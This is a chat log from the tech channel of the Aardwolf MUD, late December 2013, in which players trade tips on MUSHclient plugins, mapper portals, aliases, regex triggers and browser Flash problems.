T3/r7/2013-12-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, already a step ahead of you on that one.
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm uninstalling/reinstalling the keyboard drivers now, though.
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Book of Etzli Tech: And we have success.
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Tech: Zade recalls the days when keyboard drivers were not required - the bios and the keyboards cooperated and did all the work. And then Microsoft came along and corrupted hardware - winmodems.  winkeyboards is a new low
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Loony Lachdanan Tech: eh, i'd rather have my hardware manufacturer write my drivers rather than my mobo manufacturer. BIOS's typically have some pretty nasty kludge code in them, and are infrequently updated compared to drivers.
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Tech: Zade prefer a hardware run keyboard -- software-run hardware (usb) seem to suffer "lag hiccups"
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Loony Lachdanan Tech: i prefer software controlled, because I like NKRO and low latency. the only time i experience lag with mine is straight after startup, with the microsoft written windows drivers. under linux, it's just smooth sailing (got to love community supported drivers)
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Trauco Tech: My mini map just started to show in my main display, any idead how to get it back to the mini window?
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Tech: right-click the miniwindow
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Tech: oh, also type "tags", make sure that Global is On, and that MAP is YES
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Trauco Tech: Right click gives me the usual move to front, and the other items are on
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Trauco Tech: Sec may have figured it out, need to reload
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Trauco Tech: It was Triggers being disabled
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Tech: well, yeah, that'd definitely do it
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Aragond Tech: what is the best storage container in aardwolf? and where to get it?
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Ixle Tech: Bag of aardwolf, questor, and this isn't the right channel, q/a would be better :p
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Brun Tech: bag of aardwolf from questor
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: i use aardmush and s&d. why can't it make a autorun to the specific room when i have explored it? There was 1 match which I could not find a path to within 300 rooms: The Green Guest Room (Masquerade Island)
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Trauco Tech: Most of the time it is because there is an "other" exit, such as enter vine
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Redwood Tech: have to be mindful of not cexit'ing certain things.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: how do i set cexit?
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Redwood Tech: mapper help exits
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Trauco Tech: Read mapper help exits
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: how do i send the command 'give chip croupier' 30 times on mushclient?
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Trachx Tech: cannot you just arrow up and enter 30 times ?
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Elysian Tech: up arrow return over and over.  or ! repeats last command as well.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Ayasinda Tech: same way you send 'look' 30 times
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Cryos Tech: ctrl + r will send last command
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Cryos Tech: ctrl + r will send last command
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: thanks
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: just curious. What aliases do you guys have?
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Ixle Tech: Well this is the tech channel, I meant the forum (notes) for best possible answers, but nothing wrong with asking here.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Ixle Tech: I use a bunch of legacy aliases from my first mud, j = scan, g = group, f = flee, cb = cast 'cure blindness', h = cast 'heal', rep = reply
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Dolt Tech: bobolai, there's some good starters on http://www.holgerschurig.de/games/aardaliases.html - there's also a section on using the mapper which is really helpful
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: i'm just curious what players use!
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Dolt Tech: too many to list!
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Ixle Tech: Yeah, if you posted the question as a note, people might be more inclined to just copy/paste some stuff. Not that easy to do in a channel though.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: i myself have aliases to request and complete quests
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: including 'enter'ing my portal
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Starling Tech: Easy in cmud, all you do is #30 give chip croupier
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Ixle Tech: Since you can't use hunt on a campaign, you will have to use the where command in combination with the websites http://rooms.gaardian.com and http://duckbat.com to figure out where you need to look in the area for your target.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Ixle Tech: bah, mischan
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Ixle Tech: wtb "are you sure you meant to post to that channel" script :P
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: how is that supposed to work anyway
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: gmcp mapper marks pk rooms with a border. i'm not gonna be clan anytime soon - i want to remove the border completely. any ideas how?
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Redryn Tech: click on the configuration button top left
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: i did. i could only change the color of the border
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Redryn Tech: so change it to match the normal border?
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: ...oh
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Tech: Bobolai slaps herself on the head and yells, "DOH!"
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: close enough i guess
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: ...:P
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Trachx Tech: is there any plugin that reduces group healing spam ? I mean when there are 20 party members and I use 'party heal' I see nothing but a lot of messages feels better, is refreshed, etc
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Tech: I just define a temporary gag, plugin seems overkill
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Trachx Tech: thanks for tip
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Elxi Tech: So I just had a conversation with the developer of Chromud (a JS mud client packaged as a chrome extension : http://chromud.whiteraventechnology.com ). It is based on his earlier project phudbase (php : http://www.phudbase.com/webmud.php). This guy and ChroMud are also responsible for Achaea's web client ( http://client.achaea.com ). He said he doesn't have time to develop ChroMud anymore and is considering putting it up on Github.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Elxi Tech: If that happened I am very curious if anyone around here would scoop it up start improving it to tie in with the existing websocket support Aardwolf has, and making it pretty like Achaea's.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Tech: that'd be sweet
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Elxi Tech: He did say that technically we could just go copy the JS but that's not right.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Elxi Tech: Who are our JS experts around here? I need a list of people to bother about this :)
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Tech: You hear cricket sounds off in the distance.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: has anyone heard if theres been confliction issues with latest versions of FF and Flash player?
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Tigernuts Tech: i'm constantly having issues with flash and ff, which is why i turn off flash autoupdate
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: well my pc sez its installed but yet for what ever reason the plug in just will not go in
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: wanted to avoid using IE but thats kind of been the go to since i cant seem to run anything in FF needing flash
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Cryos Tech: try chrome?
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: heh well hmm, took me a while to use/switch to FF
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Cryos Tech: i just never use ie. only ff and chrome
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Tylertwo Tech: Try reinstalling the flash plugin.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: have bout 5 times, everytime off their site, ive installed the normal way by file and through ff itself in the extentions area
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Siren Cera Tech: what I cant stand are websites the require a particualar browser.  We've some at work that I HAVE to use IE with.  and I lothe IE.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Cryos Tech: might just work in chrome, but it is a new browser heh
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: only differene is, FF just says its corrupt if i try going through it, and anything i go to that says it needs flash, when i install that way it says it failed and gives me the option to "manual"
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Tylertwo Tech: You might get better help if you ask about it on a FF forum or something. I've never had issues with Flash and FF
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Tylertwo Tech: well maybe I have at some point, but not currently
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: heh wheres fiendish when ya need him :p
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: if by fiendish you mean ed snowden, he's in russia
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: hmm dunno anyother fiendish on here
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Trachx Tech: there are some web pages that are unable to work with IE - especially with new IE
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Cryos Tech: i waited for double trains heh
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Cryos Tech: opps
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Tigernuts Tech: there are 'clean' utils for flash player that will surgically remove all traces of it, suggest you try that. You might also want to try removing and reinstalling firefox once you're clean. I don't recommend using Chrome
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: how do i configure S&D to always portal/recall me before I runto any area?
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: like, when i click on an area that i'm not in, in a cp
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Redwood Tech: bounceportall/recall portal
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Redwood Tech: bounceportal*
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Pleiades Tech: why would you want to recall when using S&D?
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Pleiades Tech: and not just go from area A->B
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: okay maybe not recall. just portal.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Redwood Tech: make sure you add all your portals, so Sd knows which to use to cut path lengths
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Dolt Tech: you have to tell it about your portals, read mapper help portal
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: i want to portal when cping. 'just go from area A->B' is wayyyy to laggy
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Redwood Tech: and properly set levels!
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Redwood Tech: laggy?
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Dolt Tech: sorry, mapper help portals
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: yes. it can't cauculate a path within 300 moves
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Elysian Tech: S+D and mapper work to go the shortest path from any room to any other room if set up right.  No need to recall/portal first.  Have to make sure your poratls are all set up in mapper right, and your noportal norecall rooms are marked right.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Redwood Tech: give it more portals to bounce through and it figures paths faster
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: i want to give it just ONE portal to bounce through! the garbage can!
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Redwood Tech: its doing the 300room error because you havent given it enough options (portals/clan exits) to make a shorter path
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Elysian Tech: if your getting cant calculate path, then you either have parts of maps unmapped... or the other point is past a maze
T3/r7/2013-12-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: why would you want it to only use the garbage can?
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Redwood Tech: Cause it r teh roxxor
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Redwood Tech: sorry.. cuz*
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Elysian Tech: have a read through this page for some mapper tips and setups 
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Elysian Tech: http://www.holgerschurig.de/games/aardmapper.html
T3/r7/2013-12-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: if you're going to an area that has a portal right there, you'd want it to just enter that instead of going through recall and running...
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Tech: Redwood is agreeing with that The Reaper Myrkul person again...
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: what are you talking about?!
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Pleiades Tech: doing a runto from recall doesn't make sense
T3/r7/2013-12-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: say you're going to agroth (for example, just picked an area in your level range)
T3/r7/2013-12-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: it would be much faster to enter the agroth portal than enter your garbage can and run 2s30e12s
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: do i look like i have the patience and time and expertise to collect all those goshdarn portals?
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: 100+ of them
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Redwood Tech: You being lazy makes people want to help you less.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Pleiades Tech: dont ask for a recipe if you dont want to collect the ingredients
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Elysian Tech: you dont have to... you put in the ones you have, and add more as you get them.  Even just 10 portals will cut down your run times by many many seconds every trip
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Bobolai Tech: this is ridiculous.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Pleiades Tech: many areas are close to each other, so if you have portal X, it could serve areas X, Z and B
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Elysian Tech: most of us have the portals set up so every single area start room is not much more than 1-20 squares away from any room in the game (there are a few that are further away yes)
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Elysian Tech: cause as Pleidades said each portal doesnt go to just one area... it may also be close to 3-8 more areas.
T3/r7/2013-12-29.txt.gz:{chan ch=tech}Pleiades Tech: fwiw, some portals can easily be obtained through the barter channel
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Bamboo Tech: Hi. I'm using terminal, and suddenly when I press the arrow buttons, it produces [A [B [C [D etc. How do I revert it?
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: anyone know of a vorpal counter for mushclient?
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Cryos Tech: write your own?
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Cryos Tech: create a trigger to capture the vorpal line(s)
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Cryos Tech: create a variable, i have one called vorpal in the muchclient space
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: was hoping for a plugin
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Cryos Tech: in the trigger - SetVariable("vorpal", GetVariable("vorpal") + 1)
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Cryos Tech: print (GetVariable("vorpal")) - and set the trigger to script
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Cryos Tech: and your done
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Aragond Tech: how do I check quest itmes on auction
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Elysian Tech: lbid filter qp
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Serious, Aragond, use question and answer, not tech. You were even told that last time you asked a question.
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Odos Tech: is there a way in mushclient to setup a window for ivnentory and equipment
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Odos Tech: can anyone tell me how and where to install an inventory window in mushclient
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Bast Tech: Odos: 'finger bast', There is a miniwin_eq plugin in my stuff that does what you want.
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Bast Tech: please read the installation instructions and each plugin has a wiki page that tells you what it does
T3/r7/2013-12-30.txt.gz:{chan ch=tech}TrEz Tech: if you have a \((.*?)\) in a regex
T3/r7/2013-12-30.txt.gz:{chan ch=tech}TrEz Tech: how do you tell it this whole thing is not optional
T3/r7/2013-12-30.txt.gz:{chan ch=tech}TrEz Tech: I mean, it's optional
T3/r7/2013-12-30.txt.gz:{chan ch=tech}TrEz Tech: I tried surrounding in brackets and a question mark after it
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Definitely Defines Tech: what are you trying to match
T3/r7/2013-12-30.txt.gz:{chan ch=tech}TrEz Tech: "(123) asdasd" and "asdasd"
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Definitely Defines Tech: hmm..
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Definitely Defines Tech: dont you basically want to tell it the parens are optional
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Definitely Defines Tech: \(?(.*?)\)?
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Negader Tech: how about using the pipe, |   it serves as an 'or'
T3/r7/2013-12-30.txt.gz:{chan ch=tech}TrEz Tech: I think I forgot to remove the space, will try again
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Tech: the issue with Defines's pattern is that each parenths and the "other stuff" is separately-optional...it would match "Hi there asdasd", "123) asdasd", "(Joe asdasd", etc
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Definitely Defines Tech: true
T3/r7/2013-12-30.txt.gz:{chan ch=tech}TrEz Tech: I surrounded with brackets and a question mark after
T3/r7/2013-12-30.txt.gz:{chan ch=tech}TrEz Tech: it just offset my %1 %2 a bit
T3/r7/2013-12-30.txt.gz:{chan ch=tech}TrEz Tech: but it's okay I think
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Tylertwo Tech: Hey, any TF users here?
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: anyone have a plugin for a vorpal counter for mushclient?
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Redwood Tech: make a var, vorp counter or w/e you wanna make it. put the value at zero, capture the weapon glows message with a triiger that sends Addvar 'vorp counter' 1, and send to script(?)
T3/r7/2013-12-30.txt.gz:{chan ch=tech}Redwood Tech: been a while, think thats right :P
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Doc Holliday Tech: so working with the bast plugins - i cant seem to get the moon miniwin to display, and advice on that
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Doc Holliday Tech: also using gmcp to get current hp points, im only grabbing hp with spells/stats - is there a way to grab natural (trained hp)
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Doc Holliday Tech: is there a gmcp var for natural vitals?
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Inferno Tech: probably, but what do you mean by natural vitals?
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Doc Holliday Tech: im trying to find my hp without eq, ,right now pulling maxhp pulls your hp with eq/spells
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Doc Holliday Tech: maybe i should refer to it as "trained vitals"
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Inferno Tech: not that i see in the documentation
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Doc Holliday Tech: I didnt see any either, I checked on the wiki - just didnt know if there were others not listed
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Inferno Tech: don't know what client you have, but in Cmud if you did #SAY %gmcp that would show everything
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Doc Holliday Tech: mush :(
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Capiroto Tech: i wonder if i can disable gmcp and if it will reduce my delayu
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Capiroto Tech: i don't care that much about automapper and group stuff
T3/r7/2013-12-31.txt.gz:{chan ch=tech}TrEz Tech: can disable the group plugin
T3/r7/2013-12-31.txt.gz:{chan ch=tech}TrEz Tech: shouldn't be much of a delay unless you using some ancient pc like Zade
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Capiroto Tech: not about pc, but network
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Capiroto Tech: my pc is top notch. but i'm in brazil
T3/r7/2013-12-31.txt.gz:{chan ch=tech}TrEz Tech: it really isn't that much data to slow stuff down
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Capiroto Tech: again, not about ammount of data. bandwith is not a problem either...
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Doc Holliday Tech: but it interferres with my youtube ads :)
T3/r7/2013-12-31.txt.gz:{chan ch=tech}TrEz Tech: then what is the problem
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Capiroto Tech: well less requests
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Capiroto Tech: without gmcp maybe there would be a smaller number of packet requests
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Capiroto Tech: thus improving my response time
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Capiroto Tech: maybe that doesnt make sense, heh, i don't know exactly how a mud works
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Capiroto Tech: maybe less packets wouldn't help either
T3/r7/2013-12-31.txt.gz:{chan ch=tech}TrEz Tech: disable it and try, it doesn't make sense to me
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Capiroto Tech: how to disable it?
T3/r7/2013-12-31.txt.gz:{chan ch=tech}TrEz Tech: type protocols
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Capiroto Tech: couldn't find the command to disable :/
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Wink Tech: oh oh. i just typed "mccp off" just to screw around, and it turned off, but "mccp on" doesn't turn it back on.  How do I unscrew myself?
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Fat Ass Cartman Tech: log out and back in would likely do it, although I can't say I've tested that
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Wink Tech: didnt work ..
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Zoot Tech: did you check out help mccp it gives some advice there
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Wink Tech: ok for any dummy like myself who decides to play with turning off compression, I tried relogging and i tried the aardwolf flash cliet. Neither worked. So I dowloaded a trial 30 day version of zMUD, and logged in and out and MCCP started working automatically.
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Wink Tech: strange. I was playing on my tablet, and once MCCP was off, I had to get zMUD to get it working again. But I'm back on my tablet and it is still working. Bug?
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Prince Wario Tech: anyone know the command to reset all windows in the mush client?
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Trachx Tech: aardreset ?
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Trachx Tech: or rather resetaard
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Prince Wario Tech: my quest window only appears when I request a quest, anyone know how to make it be up front all the time?
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Comanchee Tech: has anyone successfully used a composite to HDMI converter for the xbox1?
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Dfury Tech: something tells me the results would likely look horrid
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Comanchee Tech: you're probably right
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Unicornbaby Tech: is there a way if a player isn't accepting deliveries, that they can receive deliveries, like a command?
T3/r7/2013-12-31.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: help send
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Tech: they can choose to toggle it
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Unicornbaby Tech: thanks
T3/r7/2013-12-31.txt.gz:{chan ch=tech}ElFeneri Tech: is it possible to run a call on skype, using an ipad, and do other things, such as browse, at the same time?
T3/r7/2013-12-31.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: HAPPY NEW YEAR